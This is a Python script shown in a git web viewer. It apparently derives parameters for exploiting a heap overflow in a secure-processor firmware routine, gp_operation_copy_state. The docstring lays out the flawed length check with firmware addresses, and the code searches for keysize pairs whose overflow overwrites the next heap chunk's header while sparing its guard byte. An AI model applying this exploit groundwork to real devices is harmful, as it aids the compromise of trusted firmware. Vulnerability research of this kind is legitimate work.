aboutsummaryrefslogtreecommitdiffstats
path: root/psp_out/heap_copystate_params.py
blob: a654678cecd8e29d9e50972dddcee002a8ce2597 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
"""Derive concrete parameters for the gp_operation_copy_state heap overflow.

SYS_DRV crypto_validate_algorithm @0xe055d0 sets, for the RSA/DH/ECC families:
    session[+0x10] = keysize        (a1[3], caller supplied, NEVER compared by copy_state)
    session[+0x14] = 0              (key_bits)
    session[+0x48] = 9*(keysize>>4) + 16      == buf_len
gp_operation_allocate @0xe1cd24 then does:
    session[+0x4C] = heap_alloc(session[+0x48])        -> ctx, capacity = round16(buf_len)

gp_operation_copy_state @0xe1cc60 checks only:
    src[+0x00] == dst[+0x00]      (alg)
    src[+0x08] == dst[+0x08]      (mode)
    src[+0x14] <= dst[+0x10]      (src key_bits <= dst keysize)
then:  memcpy(dst[+0x4C], src[+0x4C], src[+0x48])      <- length from the SOURCE
"""
def buflen(ks):  return 9 * (ks >> 4) + 16
def round16(n):  return (n + 15) & ~0xF

# alg 0x60000030 accepts keysize 256..4096 (crypto_validate_algorithm: v15-256 <= 0xF00)
LO, HI = 256, 4096

print("max overflow: src ks=%d (buf_len=%d) -> dst ks=%d (cap=%d)  = %d bytes" % (
    HI, buflen(HI), LO, round16(buflen(LO)), buflen(HI) - round16(buflen(LO))))
print()

# Find pairs giving an overflow that lands exactly in the next chunk's
# header WITHOUT touching the 2-byte guard at header +16/+17.
# Header: +0 pool, +4 prev, +8 next, +12 size, +16 in_use, +17 magic(0x56)
print("guard-preserving overflows (<=16 bytes: clobber pool/prev/next/size, leave guard):")
found = []
for sk in range(LO, HI + 1):
    sb = buflen(sk)
    for dk in range(LO, HI + 1):
        cap = round16(buflen(dk))
        ov = sb - cap
        if 1 <= ov <= 16:
            found.append((ov, sk, sb, dk, buflen(dk), cap))
by_ov = {}
for ov, sk, sb, dk, db, cap in found:
    by_ov.setdefault(ov, (sk, sb, dk, db, cap))
for ov in sorted(by_ov):
    sk, sb, dk, db, cap = by_ov[ov]
    tag = ""
    if ov == 16: tag = "  <== full pool+prev+next+size overwrite, guard intact"
    elif ov == 13: tag = "  <== pool+prev+next + size LSB"
    print("  overflow %2d B : src ks=%4d buf_len=%4d | dst ks=%4d buf_len=%4d cap=%4d%s"
          % (ov, sk, sb, dk, db, cap, tag))
print()
print("total (src,dst) keysize pairs yielding a 1..16 byte overflow: %d" % len(found))